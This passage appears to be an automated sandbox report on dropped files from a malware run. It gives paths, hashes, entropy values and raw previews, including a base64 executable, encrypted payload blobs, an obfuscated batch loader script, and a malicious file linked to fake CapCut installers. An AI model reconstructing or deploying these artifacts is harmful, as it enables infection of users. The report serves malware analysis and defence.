.o.n.t.d.r.v.h.o.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER146C.tmp.dmp

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Dec 19 08:29:57 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	45718
Entropy (8bit):	1.3154979335161952
Encrypted:	false
SSDEEP:	96:5P8IjfRdn9Hy0K4I7i7c/+riE1mQP/NClPnyOf51WIKLDIgUFhK:qS59DeOc/+riPQ9ClPnyOf5SdUi
MD5:	1E782DD1765B3B43A2BC720F34B64CEA
SHA1:	525F28B82C98591942DF97E10C33B6CEB41258E5
SHA-256:	8625C0322C2DB6BCB4953125FA5FACD85B47105634A34E40824914D47D33DFB4
SHA-512:	036BCF289FC07249351E1D3B08E5DACF94D7A285DC8319BFF63CABDDF3EC25DF4B8D5AC84B924FDF67C4CE6C99E151AD7BEACE2EA343B396E611A3C42847B3FA
Malicious:	false
Preview:	MDMP..a..... .........cg........................................2!..........T.......8...........T......................................................................................................................eJ..............Lw......................T.......d.....cg.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER14AC.tmp.WERInternalMetadata.xml

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8622
Entropy (8bit):	3.6886862339042676
Encrypted:	false
SSDEEP:	192:R6l7wVeJYALbjLUe6YOb7G1gmfr57vEpDw89bboAf0MJm:R6lXJnF6YS7G1gmfrFvEbvfy
MD5:	2469094F3850AC0F44ED2FA4E64A1377
SHA1:	A4F197E2C2EEAE01C6EAFA1596FAB30F5EAD9A47
SHA-256:	05367053D177F93865661593DFD740A01C39B6265555781658FEF072811223C2
SHA-512:	C4F0477A9D34026F5F4E6ECD9F5BE9B79285D5E20034CEEF3FCECD49DCD719E14BB76DD9E216639FA6EDFCE4E39CA1CE711C0BD6679B84EDC912C6575FD41AA8
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.1.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1568.tmp.xml

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4853
Entropy (8bit):	4.442118711784656
Encrypted:	false
SSDEEP:	48:cvIwWl8zstJg771I9dAZXVVWpW8VYkbYm8M4Jk5LvM6FNzyq8vU5LvMuZaMueFd:uIjfHI7NpW7V8JcjMkzWsjMuZ1uUd
MD5:	69E0767E6319BD382D28F3ECC316ED15
SHA1:	1C0A152BE77DFB75ACFBCFD178D19EBF038FB677
SHA-256:	AC873B0827CE41F15BF62778CF4687A5A07664B87AA0805A4FF091A0FEECDCE8
SHA-512:	C4FED570B4C106E8D416C5E586429D3AF2154A47D218FEF924A0A6F0C8B5FA2B983A63CF49AB23F900B25A5C5B1E61D3F116EC88CBDACA9200388BE1CDBAF82B
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="637892" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\ping[1].php

Process:	C:\Users\user\Desktop\deb.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1735416
Entropy (8bit):	5.992605444519626
Encrypted:	false
SSDEEP:	24576:5dGc84aalD0Vc7JlMd9U1/pGY5W6ZVhuIPyGB5OkqOreAU4HSd/Z3YG6gPxo4ZCI:5Tno92GQvuIZRfobW1I
MD5:	5DA661176D59BCDCA53728ABCC59E36E
SHA1:	FD08BB31AB7A5022A6D9B88F1A158B9BCD5C06B3
SHA-256:	49E2EE5A0309F25AC8D991F899DAEF585E125C2B95D9B04D55B9CD7E7EEF4978
SHA-512:	B522A6D161E2B4F486C28EBFF7828A6C6B873335034DD121EDCCE47A71949BA7B678C4CAAAEBC60479E6DAE8914C70F2910791511344BF072CDD6B0A6CC0F1D3
Malicious:	false
Preview:	TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABBe9FrBRq/OAUavzgFGr84DGI8OAYavzgMYiw4FBq/OAUavjipGr84HocVOAkavzgehyU4BBq/OB6HIjgEGr84UmljaAUavzgAAAAAAAAAAFBFAABMAQYA5OJHTwAAAAAAAAAA4AACAQsBCgAAdAAAAPYHAABCAACvOAAAABAAAACQAAAAAEAAABAAAAACAAAFAAAABgAAAAUAAAAAAAAAAKAQAAAEAACHqBMAAgBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAQKwAALQAAAAAABAAAoUAAAAAAAAAAAAAUqITAOg5AAAAYAgAlAkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQAADQAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAACMcgAAABAAAAB0AAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAAbisAAACQAAAALAAAAHgAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAJwrBwAAwAAAAAIAAACkAAAAAAAAAAAAAAAAAABAAADALm5kYXRhAAAAEAgAAPAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAwC5yc3JjAAAAAoUAAAAAEAAAhgAAAKYAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAANYPAAAAkBAAABAAAAA0AQAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

C:\Users\user\AppData\Local\Temp\542181\Flux.com

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	947288
Entropy (8bit):	6.630612696399572
Encrypted:	false
SSDEEP:	24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
MD5:	62D09F076E6E0240548C2F837536A46A
SHA1:	26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
SHA-256:	1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
SHA-512:	32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: pM3fQBuTLy.exe, Detection: malicious, Browse Filename: QIo3SytSZA.exe, Detection: malicious, Browse Filename: 'Setup.exe, Detection: malicious, Browse Filename: CapCut_12.0.4_Installer.exe, Detection: malicious, Browse Filename: CapCut_12.0.4_Installer.exe, Detection: malicious, Browse Filename: Setup.msi, Detection: malicious, Browse Filename: 69633f.msi, Detection: malicious, Browse Filename: fm2r286nqT.exe, Detection: malicious, Browse Filename: nB52P46OJD.exe, Detection: malicious, Browse Filename: lem.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\542181\b

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	687996
Entropy (8bit):	7.9997719449066205
Encrypted:	true
SSDEEP:	12288:dh1aYSV+WltXIrck3QPjUO7LuotG2q3iONh7W8N2kYaVOUHl/cB:d2ZXw3sU4uotG2qSOr7W5kNVOoG
MD5:	0CD5D115C1D61F18D93676CAC7C97E79
SHA1:	BE9AF7AD36E20D92ADF906DDAA6378464D4BA716
SHA-256:	A3E3F87C9D58317B226F10ED8ED4A68C94CBA5034FC2E3F97DB4938EBEADECDC
SHA-512:	25D5892B2222A5542DF72929276D594A7BC795DA08075B99CFA136A8E6BB2A5DD7CAED23DF79A0D1BE7FEF29E35053ADF4E400057FFF0DC1403872C45CFF6C9D
Malicious:	false
Preview:	....l.@......>...<...x<..Y,.!@...y].W..Y..B\.\|...F5.[.....f......KfL...9.#J..?%.`=...8...j...l.]0..hEk.<bM..@.q...;...IQ[_o..jme..S..~\|...q...)..7.~\...J...F.H..L...hqg.<5[rd5...q....G...p. ..FZ).Rp9........%er.\|.vJ$@.......;X9.......p......(...lf.L....c3..I~.....h...&.f.....:..0.$....A....O.l..u...........SQ{.QP.l.o.....K...........,1....c;K...`....#..8.YV...c.NE.@...x]...0....w.l-.0........O1..vw.e.H....h........2+.......1?.q....;.6.@y..x.7...CL..-~..P.7..%.N.'........5>..8=..$...iKhVV.AW.R...9.H..c..Q7o~.....T#.m..,1.q...... t[GH8......H\|.P.............wt..........\|.E&....+8.8"..rF.I.r.S.).8.....W.C..E.K<C.......?"2...?1..t.`.I..f./J.t\6.+B.-.3..N<....g^...\|r./..iY........n$G.,#\|Rz.{+.E...Z]$5.A$....F..W[..:c..Y.....=.L...A..\.",Q.\...#.M.....-.]..H.......W@.^G...in...j...V>.@..RL.L.O......K...i.-....T............K.Y.vYM5..L..E.H^.r....?.v..n(.?..M.bc.x.....p..U.u.T ...H9.d..Q..H.....i09{?.....9.J.Y,.\|c>?.c..T..#Y3.h[#.F.,&..g.

C:\Users\user\AppData\Local\Temp\Acne

Process:	C:\Users\user\AppData\Local\Temp\downloaded_exe.exe
File Type:	data
Category:	dropped
Size (bytes):	141312
Entropy (8bit):	6.419271195343598
Encrypted:	false
SSDEEP:	3072:tg5PXPeiR6MKkjGWoUlJUPdgQa8Bp/LxyA3laW2UDQWf05mO:+5vPeDkjGgQaE/loUDtf0j
MD5:	7730C06D95CAB2EA3647E80227548C28
SHA1:	14484BE27F5A3D45D93FE3D593E23152915A2D8D
SHA-256:	D13033BBDEE6E2603702E2D9F55B79C7AB5F04153A1B54E5B30E24AE98637868
SHA-512:	8B6CEE897A73EC0B3FEE27E5343CD13983ECE6EAC00FC667968B9E468550B6973971C64FC5BD8047E492A924BDC57D3BEE59056F08B5ACCD6CA214ED27D38FE1
Malicious:	false
Preview:	3._.F.....^]...U......`.D$.V.u.WP.D$.PV..............L$..@)M..T$..L$........T)M..L$.....8.\|$..............'........P............H..............a...WQ.P....7..<.I..t$...D.........d.........h.........P........D$.;F.t.P.....3.@_^..]....L$..N...3...U..V.u.;5t)M.........T)M........t.Q......T)M..... ...`)M...T)M.;5d)M.u....\|.....8.u.N...5d)M...X)M.^...v..D...8.t.]...I..X)M.j..4......T)M.YY..X)M..$....X)M....v..T)M...x)M....t)M...T...V..Np......NT....N$....N....h....V.C...YY..^...U..VW.}.........M...tF.E.S..t.;.....uH.^.....Q.........;...a...........h....V......E.YY..t.[j.j..7..X.I._^].....u.........M...t...6..V..j..N..V..F..4......F.YY.N.^.$...SVW..j._..l...............u.Nl.....N(...h....V.U...YY_..^[...U...u...(M......U...t...@)M.......y..u&...)M...u...M.........Qj..u...x.I.].....)M...U...u...(M..H.....@)M.......q.P.....j..u.j..u...x.I.]...U..M....t.W.}.........._]...V..4.I...(M.P..........t...@)M...j.....0.....^...U....SVW.}..E.P..7....I..E.l....E...p....E.PV

C:\Users\user\AppData\Local\Temp\Billion

Process:	C:\Users\user\AppData\Local\Temp\downloaded_exe.exe
File Type:	data
Category:	dropped
Size (bytes):	21058
Entropy (8bit):	7.313254413465614
Encrypted:	false
SSDEEP:	384:4HwWV8tnwmTihbn929MwO/ChZrzmZGhLdXVaeCVrVEVFJ8ZcGwGBk7/UMQ3rw:4ByLiFuO/ChgZ45VatJVEV3GPkjF
MD5:	8AA94191055FBB67A906295C4D550307
SHA1:	74DB3AF9A032AE930A2A066DDE7916BA01D6DB0E
SHA-256:	C20E6367401DF27FFB20CFF2AA8CB431E5A46F97C5C308453CFDB4630E7439EE
SHA-512:	E2C2CC5AA16B3401858D1800C4533E91ABFFAF4028936287777679E7147FC29BAF0320C13A7E1F2FD388F4BE6B854261D290BDE40AEA7B524147333AB5F5E3EF
Malicious:	false
Preview:	.3.3.3.3.3.3.5.5.6.6.6.6.:.:$;{;.;.;.<$<V<b<r<.<.<.<.<.<.<.<.<.<.='=1=>=v=\|=5>.>...........0.0R1{1.1.1.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.3.3-3Y3a3l3.3.3.4,4.4.4.4.4.4.4.4.4`5.5.5.6i6.6;7z7.7.7.989F9V9b9.:.;.;.;.=4=H=.>.>.?.?~?.?...........0.0=0v0.0.0.0.0.0.1.3.3;4D4N4T4Y4d4i4q4.4.5N5_5.5.5.5.5.6.686Z6l6.6.6.6.6.6C7w7.7.7.7.8.8+828a8.8.8.8.8.8.8.8.9$939:9P9x9.9.9.9.9.9":7:b:n:}:.:.:.:.:.:.:.:.;.;.;.<.<.<8<B<X<^<.<1=J=w=.=.=.=.=.=.=.=.>M>T>c>n>.>.>.?e?l?.?.?.?.?.?.?... .......0\0.0.0.0.1.1)1=1D1[1b1h1.1.1.1.1.1.1.1.1.1.1B2d2.3.3)313b3}3-4L4.4.435^5.5.5.5.696d6.6.6.6"7>7s7.7.7.7.8:8o8.8.8.8.8.8.9P9.9.9.9.9.9.9.:.:/:I:c:}:.:.:.;.;.;.;.<9<n<\|<.<.=.=.=.=%>A>.>.>.?.?.?T?v?.?.?.0......O0.0.1i1.1.2.2.2:3P3.3.4.5I5[5y5.5/6\6.6.6.6.7%7,737H7q7.7.7!8.8.8.92999L9.9.9.:.:@;Q;.;.;.<(<.<.<.<.=B=q=.=.=.>.>.>.>.?_?.?.?...@......}0.0R1.1.1.1.1y2.2.3.3.3.3^4.4.4.4.4.4{5.5"6p6.6.6.6.6~7.7.7.7.8.8(8;8D8W8.8.8.8.8.9.9.91:.:.;"<.<.<.<.=@=.=.>.>.>U?.?...P.......0C0n0.0.0.0.1E1U1h1.1.1+232:2B2.2*3G3.3.3.3G4Q4y4

C:\Users\user\AppData\Local\Temp\Catholic

Process:	C:\Users\user\AppData\Local\Temp\downloaded_exe.exe
File Type:	data
Category:	dropped
Size (bytes):	100352
Entropy (8bit):	7.997846639803936
Encrypted:	true
SSDEEP:	1536:iC9GRgkIP4GvlQxu1VYlMMNq+B/jf7KPqHgayJLzz+9oURr3S+cU0YZBR4jnF:iC9GRgkIQIOq+Fb7K0g1C9oyC+cWZBKp
MD5:	F3DE968CF1588615C1DAAC259FD6A5E4
SHA1:	21C9A43DBCDC552F7CD1E7A05E16A560575329D9
SHA-256:	A8EFF2FC3CA4BC0ADDD04E422BFC72B032CF38B5B0805E30BACFB1D4CE9108FC
SHA-512:	0CDCCA10BF20B9FD26A73DFFE555AA1468651785447DF0A87513ED34AE48B79982DE4E312DF0C00880BAA3769D7FB6223CCC496FF53E0F670CDBA5EA78D5B3D8
Malicious:	false
Preview:	E.H?..q....r..Nq.)9..2G....t.~MWe[},.u..`.=.....-.k.4].'..../X..r....}.r/cM..!Twe..@=.dB.......L.,.:n.....:xh)....T.......iV...d.g....h.Q...J.a..6tc.(..[$....1..$.=.y.9.[..g9..&,..\|..#`IB.......<24...c.....{..bm[a.~...{..~..:.&f~.....\|.j.(ZW..Z&.A[...@]..IT..-.........$...>;je..W..A.!....Q..VWo...n4^..k.....(m&..C5.e....u(.v.....Z....n...i...\|w..Y.d.o.N.W..%,......-X.4..Ru.....C.u.....c..cbj.x..BIg`jir..\|)..........}.^uc..{7ba.......:.h-Lh\.09a6..}..-...G.kD...3..y;s3.vC.....y.?.D.zX@...V[..i..P.........8bfF.qe....{~2..cV!.X..1&.._......7.$.tq~....e..d..-.$...\9.=.Z......z~...+.B[.T.~xA.l.JX...5.?..]jA...F..h.?W...4..8.lD-...=;.....!U4.......~..g/..V.,.^xX.x.. .I..$...P...t._.8x.3jh..V...Z.cx.c...1)..5..K..>.#.Bl.N.~.-.,.m,SW..T......_.....m.1......w2..X..x[..@@O.....M.J.0.>.$R...};@.Ng....i.}.S..=....,x.%..d.4..O......;...Y..].z.O8D..;.Q...t.......J....R..1..,.%..b-%.x.:.T.\|<...v..E.6H.....7.RD.....,.wI1..G.6.....!.....x,.

C:\Users\user\AppData\Local\Temp\Del

Process:	C:\Users\user\AppData\Local\Temp\downloaded_exe.exe
File Type:	COM executable for DOS
Category:	dropped
Size (bytes):	64512
Entropy (8bit):	7.99762270747538
Encrypted:	true
SSDEEP:	768:bsNB4fop0yGEn84PbUEKA0PSfLmBSPsDFEo6KcS2w8KwEeDKWAwwm5EqcFv8TlCz:gT3vGE8wJfLmvFEoGbDihmyvJvRsyx
MD5:	84C683958D97DE80882BD616CBB6309B
SHA1:	C7432D946D6FB1A1A3F5A41F04F9A051179FA3A3
SHA-256:	7D706456C6E0886260C0A4383EAF2D548E0AD8CF41886EAA04B1FFA4151915F7
SHA-512:	3BC370892FFD99D771901157D3E2F91EFEF7D6F33B24B1D3F373D9F2302FF2457A666F5D57414A0BA22D6553F400B61C9958BACE7C2CE841D59E1B6AA57B5F07
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	....3..^.m?V.S. .+.b;.....<.?..../iqU..g%,...=..OE..].52.4.p.f...M..?dH.Z. U\|.P....'..pGQw.."..LC&).>.,_..L1F.=TJK..T.9.e.=.0.1]n..q.z..y......9.R.,`...gOa^...6t$.~.h.z..o..1..;Ak....HZ....C..........=..U.l.%.......vT...m..qP.W...............Wb..B....>..AS..:P&...XV..eX_c..u`.I]..E'.2.X.k.O..n.<.k.j....,Jp-......;.x$......Qs...7....-~,.... .Q.v..3gL.K./.I...g.&c.....O$..US...L..E..54.j..Lq.N.WI+.:%.......b.9..3.....H...>..Fn.=^r.(..E#..2cQ..O.:7=..[..^..^.e.......F.~.=~?l.....b.1..~Q..[..V.....SKeE...W..1r..........4..W..=n?.~../.....v.2v.bf.....5..Z.$..4.d..rE.[_..4.H..............x#c..\v.b..HuN.}.....j.t....c.V 2p........"..J>....d.S........."i2..M.S.....,xE..aBN3..........F.w...Z.E...I...D.....q!#.y0.Z).O.6_f...NJ...+....%.8@t>..\|W...=(..eZ.+...b..b...u^..,[.1.....!..a..i.4,7..z...x..#V.u.852.2......sf..KxoJ._s...)xNS.<.@c.xe.{.x.:...l.'N\.e.`.......&CjB+..u....yL...<8m..i......A.0%...W..i..8h.Z......Tnp.........$..Si..l%.........n

C:\Users\user\AppData\Local\Temp\Estimates

Process:	C:\Users\user\AppData\Local\Temp\downloaded_exe.exe
File Type:	ASCII text, with very long lines (642), with CRLF line terminators
Category:	dropped
Size (bytes):	19018
Entropy (8bit):	5.115005060959808
Encrypted:	false
SSDEEP:	384:SAedBvx1YnE0+Ejr8ByOpu/ZmCWZAiSPMLYtGkfejeoFHFH9C4bPT0AcP:SpbbyYZpGZmCcfmeqop9jLcP
MD5:	AAA4FDCDEB83B512374BE372D2FB2517
SHA1:	0FFDD59D6F11920F797C9077B892F9464843D08E
SHA-256:	2F2E0C7E7F43387F8CB12839A26284AB7C2C24B7A19C5BCEBA55A1F376796003
SHA-512:	DF3B913AAE1A153A6B399DA19E5A9B5CE1C878D2DD60A2EDF08F7320B96F8507B10333616BCB3EBB01E14ECD69D2EC8DF3FDB958C57B4CEBCAC40D084CA6B548
Malicious:	false
Preview:	Set Saints=w..WUJChaos-..HvWsMaps-Streaming-Spots-Buttons-..dvbwFeelings-Msg-Ff-Appointment-Va-..KEPartner-Saves-Windows-Tourist-Telecharger-Qualify-Milton-Uncle-Olympus-..oUOsPhentermine-Jp-Democracy-Diary-..MhwmNickel-Except-Fc-Apartments-Conventions-Soundtrack-Vacation-Str-Wood-..DDXXDeny-Gcc-Shepherd-Partnership-..FCjWInteractive-Tropical-Infrared-Target-..Set Hampton=r..eRrEquilibrium-Payroll-Gangbang-..kghoCreates-Virtual-Volvo-Translator-Dial-Cloudy-..SAanVisitors-Replication-Buildings-Temperature-..KzlaRwanda-Nintendo-..JHAppeal-Copyrighted-Shall-Proved-Launch-Very-Borough-..Set Industries=5..AbNEmails-Genetics-Crime-Standing-Programs-Invitation-Optical-Presented-..XXKqCloudy-Decimal-Understanding-Political-Tire-Conf-Comment-Availability-..jmDawn-Fluid-..eAhDeferred-..RkPRhythm-Hide-Consequence-..qGaSigned-Kodak-Audit-Nottingham-Socket-Mart-..Set Ieee=9..bFButtons-With-Mods-..mByDimensional-..ETRunning-Shape-..fgLCanon-..OdRealtor-Vacuum-Intro-Showing-Prostate-..LxqTWeekend-..p

C:\Users\user\AppData\Local\Temp\Estimates.cmd

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (642), with CRLF line terminators
Category:	dropped
Size (bytes):	19018
Entropy (8bit):	5.115005060959808
Encrypted:	false
SSDEEP:	384:SAedBvx1YnE0+Ejr8ByOpu/ZmCWZAiSPMLYtGkfejeoFHFH9C4bPT0AcP:SpbbyYZpGZmCcfmeqop9jLcP
MD5:	AAA4FDCDEB83B512374BE372D2FB2517
SHA1:	0FFDD59D6F11920F797C9077B892F9464843D08E
SHA-256:	2F2E0C7E7F43387F8CB12839A26284AB7C2C24B7A19C5BCEBA55A1F376796003
SHA-512:	DF3B913AAE1A153A6B399DA19E5A9B5CE1C878D2DD60A2EDF08F7320B96F8507B10333616BCB3EBB01E14ECD69D2EC8DF3FDB958C57B4CEBCAC40D084CA6B548
Malicious:	false
Preview:	Set Saints=w..WUJChaos-..HvWsMaps-Streaming-Spots-Buttons-..dvbwFeelings-Msg-Ff-Appointment-Va-..KEPartner-Saves-Windows-Tourist-Telecharger-Qualify-Milton-Uncle-Olympus-..oUOsPhentermine-Jp-Democracy-Diary-..MhwmNickel-Except-Fc-Apartments-Conventions-Soundtrack-Vacation-Str-Wood-..DDXXDeny-Gcc-Shepherd-Partnership-..FCjWInteractive-Tropical-Infrared-Target-..Set Hampton=r..eRrEquilibrium-Payroll-Gangbang-..kghoCreates-Virtual-Volvo-Translator-Dial-Cloudy-..SAanVisitors-Replication-Buildings-Temperature-..KzlaRwanda-Nintendo-..JHAppeal-Copyrighted-Shall-Proved-Launch-Very-Borough-..Set Industries=5..AbNEmails-Genetics-Crime-Standing-Programs-Invitation-Optical-Presented-..XXKqCloudy-Decimal-Understanding-Political-Tire-Conf-Comment-Availability-..jmDawn-Fluid-..eAhDeferred-..RkPRhythm-Hide-Consequence-..qGaSigned-Kodak-Audit-Nottingham-Socket-Mart-..Set Ieee=9..bFButtons-With-Mods-..mByDimensional-..ETRunning-Shape-..fgLCanon-..OdRealtor-Vacuum-Intro-Showing-Prostate-..LxqTWeekend-..p

C:\Users\user\AppData\Local\Temp\Ferry

Process:	C:\Users\user\AppData\Local\Temp\downloaded_exe.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	7.996730875047278
Encrypted:	true
SSDEEP:	1536:LGHIW7BDPdeDRrtZK1snSDx24tBoixg+4Dhr:LeIATQRrtM1Lx24tBFr8hr
MD5:	959CE45C8C2A59C634F90C5FAE75D6EC
SHA1:	2CA773C8A0FF1D90EA47F35AFB84710577FF9E56
SHA-256:	3DD732FF576BD9A5B79D56DC6083DB3034997A0A28F3B9D46DBF66485A30F310
SHA-512:	ED14AFF4DC07627308BED52E696E0D6DFD1643D358472F40F39F628A190BC8EEFC2BCEF056CA582B0B7FFFCF86B2BE5FF53E29DB637C2DD3A98823D701D22330
Malicious:	false
Preview:	.w......g2.&....N%.IqtP/...G.!k...U7e.t....i.l.......O2....l...{u.+.x..n...TAKEv...)..jY..a....%7....B..r.........&....9.zm...1.J....FQO;....W...y......Pl.&.4.v.....Syv..f{...:..[.R.U[c...m.?so..q....:..h......Q. .k...g..3../P......N?.....n........oo.O....,..B.9....'.&.r...0.I......!..z8,..............dZfQ`ot..ia9.].\|.".1..P.fr...9......!e..................+3..nN..G^9.".:a..'.`~...J.(T;...P].'.3.....6..4~......N~....T.)......7.K..}....k..#..1d...U..dh..`.K.m#.2.ND.s..T2.M....0.$...mgi.#........`..j......#...t..#.d.`.).K .i....(.t........l....c]...z;....S.DB..-.s.#..,B~.Z..g.S..{.){-.....>...}_....S...l...C....Q2De]d....%Cgb.>.. .e@....<.F..D.D.'D....p#..#.....Y:5DV._]...!.h..B!....L.RKf......J....^...97.,;(...........6...b.vC..X.3....D........"._.Qo.v.LY..,.+...".5..YPa..dd.7...Kw.W.....G-..ew...<..;'.........g/..K....#Tc=......O.H.?.`...T........g#...!d&.62>.3..1./.3...zJ7g....RR...sZ.?H.1_...s..t."+.J.....C.......C..F@

C:\Users\user\AppData\Local\Temp\Fleece

Process:	C:\Users\user\AppData\Local\Temp\downloaded_exe.exe
File Type:	data
Category:	dropped
Size (bytes):	2589
Entropy (8bit):	5.372255258923795
Encrypted:	false
SSDEEP:	48:09n9mTsCNvEQH5O5U1nPKrhBzM1FoMPhfq1koCqxLVJcd2u+ME:4SEA5O5W+MfH5S1CqlVJcI6E
MD5:	11E32C4B52B5C5D27CA84472C507E38F
SHA1:	027AC1042D436C566DE20450C8ACDE9DF87D3CDA
SHA-256:	97E62159D0EFE8E02632B13EBE50A3E084CE2599369AC36CB8B055B11E388634
SHA-512:	62C4065166CBD8D4BB0C0950E98A9420C07644DBAEA24C5043EF4F8D82E7F5D323C8BA217DE5FB26E0D0BC1DC454E88F67D17FAE33EFF9AD05682F8908F01E82
Malicious:	false
Preview:	exports........................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B.........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Fo

Process:	C:\Users\user\AppData\Local\Temp\downloaded_exe.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	152576
Entropy (8bit):	5.648410854278383
Encrypted:	false
SSDEEP:	1536:PKaj6iTcPAsAhxjgarB/5el3EYrDWyu0uZo2+9BGmdATGODv7xvTpS:H6whxjgarB/5elDWy4ZNoGmROL7F1S
MD5:	597A4DEAAC6F2DFD9BA9D6557943D9F3
SHA1:	28AC694327FA3DD08430100FB09C2E979BD4674B
